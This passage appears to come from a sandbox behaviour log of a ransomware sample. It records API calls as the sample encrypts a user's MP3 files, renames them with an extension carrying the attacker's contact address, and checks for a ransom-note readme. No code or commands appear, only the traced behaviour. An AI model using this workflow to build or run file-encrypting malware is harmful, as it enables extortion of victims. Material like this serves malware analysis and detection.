(lpFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\kXmdmgc4Bx_C.mp3" (normalized: "c:\\users\\fd1hvy\\music\\gorxmbaxvtsgdsav\\kxmdmgc4bx_c.mp3")) returned 0x20 [0072.263] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\kXmdmgc4Bx_C.mp3", dwFileAttributes=0x20) returned 1 [0072.263] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\kXmdmgc4Bx_C.mp3" (normalized: "c:\\users\\fd1hvy\\music\\gorxmbaxvtsgdsav\\kxmdmgc4bx_c.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0072.264] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x14bbfd78 | out: lpFileSize=0x14bbfd78*=6163) returned 1 [0072.264] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x180f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.264] ReadFile (in: hFile=0x3b8, lpBuffer=0x14bbfd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x14bbfd48, lpOverlapped=0x0 | out: lpBuffer=0x14bbfd4c*, lpNumberOfBytesRead=0x14bbfd48*=0x4, lpOverlapped=0x0) returned 1 [0072.264] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.264] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e6b8 [0072.264] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e7f8 [0072.264] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e848 [0072.264] NtQuerySystemTime (in: CurrentTime=0x14bbfd24 | out: CurrentTime=0x14bbfd24*=132121176301504288) returned 0x0 [0072.264] RtlRandom (in: Seed=0x14bbfd30 | out: Seed=0x14bbfd30) returned 0x690b23a5 [0072.264] RtlRandom (in: Seed=0x14bbfd30 | out: Seed=0x14bbfd30) returned 0xf025b07d [0072.264] RtlRandom (in: Seed=0x14bbfd30 | out: Seed=0x14bbfd30) returned 0xe65f0a95 [0072.264] RtlRandom (in: Seed=0x14bbfd30 | out: Seed=0x14bbfd30) returned 0x2e5c5ee0 [0072.264] RtlRandom (in: Seed=0x14bbfd30 | out: Seed=0x14bbfd30) returned 0xdaacd386 [0072.264] RtlRandom (in: Seed=0x14bbfd30 | out: Seed=0x14bbfd30) returned 0x8531705b [0072.264] RtlRandom (in: Seed=0x14bbfd30 | out: Seed=0x14bbfd30) returned 0x4c00bda6 [0072.264] RtlRandom (in: Seed=0x14bbfd30 | out: Seed=0x14bbfd30) returned 0x67145cf4 [0072.264] RtlRandom (in: Seed=0x14bbfd30 | out: Seed=0x14bbfd30) returned 0xdbfdcb7b [0072.264] RtlRandom (in: Seed=0x14bbfd30 | out: Seed=0x14bbfd30) returned 0xf8263f39 [0072.265] RtlRandom (in: Seed=0x14bbfd30 | out: Seed=0x14bbfd30) returned 0x1589a35c [0072.265] RtlRandom (in: Seed=0x14bbfd30 | out: Seed=0x14bbfd30) returned 0xdc74e180 [0072.265] RtlRandom (in: Seed=0x14bbfd30 | out: Seed=0x14bbfd30) returned 0x9b865876 [0072.265] RtlRandom (in: Seed=0x14bbfd30 | out: Seed=0x14bbfd30) returned 0x29aee10e [0072.265] RtlRandom (in: Seed=0x14bbfd30 | out: Seed=0x14bbfd30) returned 0x5f8f8f88 [0072.265] RtlRandom (in: Seed=0x14bbfd30 | out: Seed=0x14bbfd30) returned 0xefa3360d [0072.265] RtlRandom (in: Seed=0x14bbfd30 | out: Seed=0x14bbfd30) returned 0x7f575df [0072.265] RtlRandom (in: Seed=0x14bbfd30 | out: Seed=0x14bbfd30) returned 0xc2e3bbe8 [0072.265] RtlRandom (in: Seed=0x14bbfd30 | out: Seed=0x14bbfd30) returned 0x426ed8a6 [0072.265] RtlRandom (in: Seed=0x14bbfd30 | out: Seed=0x14bbfd30) returned 0x96e0c7ef [0072.265] RtlRandom (in: Seed=0x14bbfd30 | out: Seed=0x14bbfd30) returned 0x7ec801e9 [0072.265] RtlRandom (in: Seed=0x14bbfd30 | out: Seed=0x14bbfd30) returned 0x5bc4eea1 [0072.265] RtlRandom (in: Seed=0x14bbfd30 | out: Seed=0x14bbfd30) returned 0x19259197 [0072.265] RtlRandom (in: Seed=0x14bbfd30 | out: Seed=0x14bbfd30) returned 0xf977538c [0072.266] RtlRandom (in: Seed=0x14bbfd30 | out: Seed=0x14bbfd30) returned 0x5c06d771 [0072.266] RtlRandom (in: Seed=0x14bbfd30 | out: Seed=0x14bbfd30) returned 0xcfe6043e [0072.266] RtlRandom (in: Seed=0x14bbfd30 | out: Seed=0x14bbfd30) returned 0xdf55e005 [0072.266] RtlRandom (in: Seed=0x14bbfd30 | out: Seed=0x14bbfd30) returned 0x3ddbaf6a [0072.266] RtlRandom (in: Seed=0x14bbfd30 | out: Seed=0x14bbfd30) returned 0xc6a33832 [0072.266] RtlRandom (in: Seed=0x14bbfd30 | out: Seed=0x14bbfd30) returned 0xe8fcf6c5 [0072.266] RtlRandom (in: Seed=0x14bbfd30 | out: Seed=0x14bbfd30) returned 0x99db2880 [0072.266] RtlRandom (in: Seed=0x14bbfd30 | out: Seed=0x14bbfd30) returned 0x4a86e6a7 [0072.276] ReadFile (in: hFile=0x3b8, lpBuffer=0x3475830, nNumberOfBytesToRead=0x1813, lpNumberOfBytesRead=0x14bbfd24, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x14bbfd24*=0x1813, lpOverlapped=0x0) returned 1 [0072.277] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x14bbfcec | out: lpNewFilePointer=0x0) returned 1 [0072.277] WriteFile (in: hFile=0x3b8, lpBuffer=0x33f28e0*, nNumberOfBytesToWrite=0x1813, lpNumberOfBytesWritten=0x14bbfd20, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesWritten=0x14bbfd20*=0x1813, lpOverlapped=0x0) returned 1 [0072.277] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ea28 [0072.277] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e898 [0072.277] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e898) returned 1 [0072.277] WriteFile (in: hFile=0x3b8, lpBuffer=0x341ea28*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x14bbfd1c, lpOverlapped=0x0 | out: lpBuffer=0x341ea28*, lpNumberOfBytesWritten=0x14bbfd1c*=0x20, lpOverlapped=0x0) returned 1 [0072.277] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ea28) returned 1 [0072.277] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0072.277] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0072.277] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0072.277] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcd28) returned 1 [0072.277] WriteFile (in: hFile=0x3b8, lpBuffer=0x341e870*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x14bbfd48, lpOverlapped=0x0 | out: lpBuffer=0x341e870*, lpNumberOfBytesWritten=0x14bbfd48*=0x8, lpOverlapped=0x0) returned 1 [0072.277] WriteFile (in: hFile=0x3b8, lpBuffer=0x14bbfd60*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x14bbfd48, lpOverlapped=0x0 | out: lpBuffer=0x14bbfd60*, lpNumberOfBytesWritten=0x14bbfd48*=0x4, lpOverlapped=0x0) returned 1 [0072.277] WriteFile (in: hFile=0x3b8, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x14bbfd48, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x14bbfd48*=0x4, lpOverlapped=0x0) returned 1 [0072.277] WriteFile (in: hFile=0x3b8, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x14bbfd48, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x14bbfd48*=0x6c, lpOverlapped=0x0) returned 1 [0072.278] WriteFile (in: hFile=0x3b8, lpBuffer=0x341e7f8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x14bbfd48, lpOverlapped=0x0 | out: lpBuffer=0x341e7f8*, lpNumberOfBytesWritten=0x14bbfd48*=0x20, lpOverlapped=0x0) returned 1 [0072.278] WriteFile (in: hFile=0x3b8, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x14bbfd48, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x14bbfd48*=0x4, lpOverlapped=0x0) returned 1 [0072.278] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e7f8) returned 1 [0072.278] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e5f0) returned 1 [0072.278] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e870) returned 1 [0072.278] CloseHandle (hObject=0x3b8) returned 1 [0072.278] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb2) returned 0x34bef18 [0072.278] wcscpy (in: _Dest=0x34bef18, _Source="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\kXmdmgc4Bx_C.mp3" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\kXmdmgc4Bx_C.mp3") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\kXmdmgc4Bx_C.mp3" [0072.278] wcscat (in: _Dest=0x34bef18, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\kXmdmgc4Bx_C.mp3.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\kXmdmgc4Bx_C.mp3.mailto[kokoklock@cock.li].d0e731" [0072.278] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\kXmdmgc4Bx_C.mp3" (normalized: "c:\\users\\fd1hvy\\music\\gorxmbaxvtsgdsav\\kxmdmgc4bx_c.mp3"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\kXmdmgc4Bx_C.mp3.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\gorxmbaxvtsgdsav\\kxmdmgc4bx_c.mp3.mailto[kokoklock@cock.li].d0e731")) returned 1 [0072.279] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\kXmdmgc4Bx_C.mp3.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0072.279] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34bef18) returned 1 [0072.279] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\kXmdmgc4Bx_C.mp3", dwFileAttributes=0x20) returned 0 [0072.279] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x74) returned 0x33ccbf0 [0072.279] wcscpy (in: _Dest=0x33ccbf0, _Source="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\" [0072.279] wcscat (in: _Dest=0x33ccbf0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\D0E731-Readme.txt" [0072.279] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\music\\gorxmbaxvtsgdsav\\d0e731-readme.txt")) returned 0x20 [0072.279] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ccbf0) returned 1 [0072.279] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479da8) returned 1 [0072.279] RtlExitUserThread (Status=0x1) Thread: id = 509 os_tid = 0x13b8 [0072.290] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\vdJXCAf7Mzr8GnbL-_r.mp3" (normalized: "c:\\users\\fd1hvy\\music\\gorxmbaxvtsgdsav\\vdjxcaf7mzr8gnbl-_r.mp3")) returned 0x20 [0072.290] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\vdJXCAf7Mzr8GnbL-_r.mp3", dwFileAttributes=0x20) returned 1 [0072.290] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\vdJXCAf7Mzr8GnbL-_r.mp3" (normalized: "c:\\users\\fd1hvy\\music\\gorxmbaxvtsgdsav\\vdjxcaf7mzr8gnbl-_r.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0072.290] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x14c3f774 | out: lpFileSize=0x14c3f774*=20909) returned 1 [0072.290] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x51a9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.290] ReadFile (in: hFile=0x3b8, lpBuffer=0x14c3f748, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x14c3f744, lpOverlapped=0x0 | out: lpBuffer=0x14c3f748*, lpNumberOfBytesRead=0x14c3f744*=0x4, lpOverlapped=0x0) returned 1 [0072.290] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.290] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e6b8 [0072.290] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e7f8 [0072.290] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e870 [0072.291] NtQuerySystemTime (in: CurrentTime=0x14c3f720 | out: CurrentTime=0x14c3f720*=132121176301895540) returned 0x0 [0072.291] RtlRandom (in: Seed=0x14c3f72c | out: Seed=0x14c3f72c) returned 0x7dab3912 [0072.291] RtlRandom (in: Seed=0x14c3f72c | out: Seed=0x14c3f72c) returned 0x7863d25b [0072.291] RtlRandom (in: Seed=0x14c3f72c | out: Seed=0x14c3f72c) returned 0x329d0a0 [0072.291] RtlRandom (in: Seed=0x14c3f72c | out: Seed=0x14c3f72c) returned 0x43987877 [0072.291] RtlRandom (in: Seed=0x14c3f72c | out: Seed=0x14c3f72c) returned 0x7c68ecfb [0072.291] RtlRandom (in: Seed=0x14c3f72c | out: Seed=0x14c3f72c) returned 0x27b7b9e8 [0072.291] RtlRandom (in: Seed=0x14c3f72c | out: Seed=0x14c3f72c) returned 0x4dc85634 [0072.291] RtlRandom (in: Seed=0x14c3f72c | out: Seed=0x14c3f72c) returned 0xf423515f [0072.291] RtlRandom (in: Seed=0x14c3f72c | out: Seed=0x14c3f72c) returned 0x7a9ca3ea [0072.291] RtlRandom (in: Seed=0x14c3f72c | out: Seed=0x14c3f72c) returned 0x6bc92d4e [0072.291] RtlRandom (in: Seed=0x14c3f72c | out: Seed=0x14c3f72c) returned 0x9ddf8399 [0072.291] RtlRandom (in: Seed=0x14c3f72c | out: Seed=0x14c3f72c) returned 0xda830afd [0072.291] RtlRandom (in: Seed=0x14c3f72c | out: Seed=0x14c3f72c) returned 0x32c4c4c7 [0072.291] RtlRandom (in: Seed=0x14c3f72c | out: Seed=0x14c3f72c) returned 0x7c4b9ab9 [0072.291] RtlRandom (in: Seed=0x14c3f72c | out: Seed=0x14c3f72c) returned 0x553dd8a4 [0072.291] RtlRandom (in: Seed=0x14c3f72c | out: Seed=0x14c3f72c) returned 0xf170e089 [0072.291] RtlRandom (in: Seed=0x14c3f72c | out: Seed=0x14c3f72c) returned 0xbb6627fd [0072.291] RtlRandom (in: Seed=0x14c3f72c | out: Seed=0x14c3f72c) returned 0x1db059d3 [0072.291] RtlRandom (in: Seed=0x14c3f72c | out: Seed=0x14c3f72c) returned 0x69b211b1 [0072.291] RtlRandom (in: Seed=0x14c3f72c | out: Seed=0x14c3f72c) returned 0x384b4df5 [0072.291] RtlRandom (in: Seed=0x14c3f72c | out: Seed=0x14c3f72c) returned 0x9b4dc2a2 [0072.291] RtlRandom (in: Seed=0x14c3f72c | out: Seed=0x14c3f72c) returned 0x55a72cff [0072.291] RtlRandom (in: Seed=0x14c3f72c | out: Seed=0x14c3f72c) returned 0x436a984 [0072.291] RtlRandom (in: Seed=0x14c3f72c | out: Seed=0x14c3f72c) returned 0x5acf5757 [0072.291] RtlRandom (in: Seed=0x14c3f72c | out: Seed=0x14c3f72c) returned 0xe918ec3d [0072.291] RtlRandom (in: Seed=0x14c3f72c | out: Seed=0x14c3f72c) returned 0x84162ee4 [0072.291] RtlRandom (in: Seed=0x14c3f72c | out: Seed=0x14c3f72c) returned 0xac767fe5 [0072.291] RtlRandom (in: Seed=0x14c3f72c | out: Seed=0x14c3f72c) returned 0x6950acbe [0072.291] RtlRandom (in: Seed=0x14c3f72c | out: Seed=0x14c3f72c) returned 0x27fd25f9 [0072.291] RtlRandom (in: Seed=0x14c3f72c | out: Seed=0x14c3f72c) returned 0x1d62140e [0072.291] RtlRandom (in: Seed=0x14c3f72c | out: Seed=0x14c3f72c) returned 0xcba94fea [0072.291] RtlRandom (in: Seed=0x14c3f72c | out: Seed=0x14c3f72c) returned 0x3c8d743d [0072.302] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.302] ReadFile (in: hFile=0x3b8, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x14c3f6f8, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x14c3f6f8*=0x4096, lpOverlapped=0x0) returned 1 [0072.302] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.302] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcd28 [0072.302] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479cb8 [0072.302] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e8c0 [0072.303] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e8c0) returned 1 [0072.303] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x33f28e0 [0072.303] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ea28 [0072.303] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341e8c0 [0072.303] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e8c0) returned 1 [0072.303] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0072.303] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcd28) returned 1 [0072.303] WriteFile (in: hFile=0x3b8, lpBuffer=0x33f28e0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x14c3f6f8, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesWritten=0x14c3f6f8*=0x4096, lpOverlapped=0x0) returned 1 [0072.303] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0072.303] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x51ad, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.304] WriteFile (in: hFile=0x3b8, lpBuffer=0x341ea28*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x14c3f730, lpOverlapped=0x0 | out: lpBuffer=0x341ea28*, lpNumberOfBytesWritten=0x14c3f730*=0x20, lpOverlapped=0x0) returned 1 [0072.304] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ea28) returned 1 [0072.304] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0072.304] WriteFile (in: hFile=0x3b8, lpBuffer=0x341e898*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x14c3f744, lpOverlapped=0x0 | out: lpBuffer=0x341e898*, lpNumberOfBytesWritten=0x14c3f744*=0x8, lpOverlapped=0x0) returned 1 [0072.304] WriteFile (in: hFile=0x3b8, lpBuffer=0x14c3f75c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x14c3f744, lpOverlapped=0x0 | out: lpBuffer=0x14c3f75c*, lpNumberOfBytesWritten=0x14c3f744*=0x4, lpOverlapped=0x0) returned 1 [0072.304] WriteFile (in: hFile=0x3b8, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x14c3f744, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x14c3f744*=0x4, lpOverlapped=0x0) returned 1 [0072.304] WriteFile (in: hFile=0x3b8, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x14c3f744, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x14c3f744*=0x6c, lpOverlapped=0x0) returned 1 [0072.304] WriteFile (in: hFile=0x3b8, lpBuffer=0x341e7f8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x14c3f744, lpOverlapped=0x0 | out: lpBuffer=0x341e7f8*, lpNumberOfBytesWritten=0x14c3f744*=0x20, lpOverlapped=0x0) returned 1 [0072.304] WriteFile (in: hFile=0x3b8, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x14c3f744, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x14c3f744*=0x4, lpOverlapped=0x0) returned 1 [0072.304] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e7f8) returned 1 [0072.304] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e5f0) returned 1 [0072.304] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341e898) returned 1 [0072.304] CloseHandle (hObject=0x3b8) returned 1 [0072.305] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc0) returned 0x3431bf0 [0072.305] wcscpy (in: _Dest=0x3431bf0, _Source="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\vdJXCAf7Mzr8GnbL-_r.mp3" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\vdJXCAf7Mzr8GnbL-_r.mp3") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\vdJXCAf7Mzr8GnbL-_r.mp3" [0072.305] wcscat (in: _Dest=0x3431bf0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\vdJXCAf7Mzr8GnbL-_r.mp3.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\vdJXCAf7Mzr8GnbL-_r.mp3.mailto[kokoklock@cock.li].d0e731" [0072.305] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\vdJXCAf7Mzr8GnbL-_r.mp3" (normalized: "c:\\users\\fd1hvy\\music\\gorxmbaxvtsgdsav\\vdjxcaf7mzr8gnbl-_r.mp3"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\vdJXCAf7Mzr8GnbL-_r.mp3.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\gorxmbaxvtsgdsav\\vdjxcaf7mzr8gnbl-_r.mp3.mailto[kokoklock@cock.li].d0e731")) returned 1 [0072.305] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\vdJXCAf7Mzr8GnbL-_r.mp3.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0072.306] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3431bf0) returned 1 [0072.306] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\vdJXCAf7Mzr8GnbL-_r.mp3", dwFileAttributes=0x20) returned 0 [0072.306] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x74) returned 0x33ccd70 [0072.306] wcscpy (in: _Dest=0x33ccd70, _Source="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\" [0072.306] wcscat (in: _Dest=0x33ccd70, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\D0E731-Readme.txt" [0072.306] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\music\\gorxmbaxvtsgdsav\\d0e731-readme.txt")) returned 0x20 [0072.306] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33ccd70) returned 1 [0072.306] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33c3a58) returned 1 [0072.306] RtlExitUserThread (Status=0x1) Thread: id = 510 os_tid = 0x13bc [0072.307] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4c) returned 0x3430de0 [0072.307] wcscpy (in: _Dest=0x3430de0, _Source="C:\\Users\\All Users\\Microsoft\\Office" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Office") returned="C:\\Users\\All Users\\Microsoft\\Office" [0072.307] wcscat (in: _Dest=0x3430de0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Office\\") returned="C:\\Users\\All Users\\Microsoft\\Office\\" [0072.307] wcscat (in: _Dest=0x3430de0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Office\\*") returned="C:\\Users\\All Users\\Microsoft\\Office\\*" [0072.307] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x33f12a0 [0072.307] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Office\\*", lpFindFileData=0x33f12a0 | out: lpFindFileData=0x33f12a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1c05089, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xc1c05089, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xc1c05089, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x34339a8 [0072.308] wcscmp (_String1=".", _String2=".") returned 0 [0072.308] FindNextFileW (in: hFindFile=0x34339a8, lpFindFileData=0x33f12a0 | out: lpFindFileData=0x33f12a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1c05089, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xc1c05089, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xc1c05089, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, 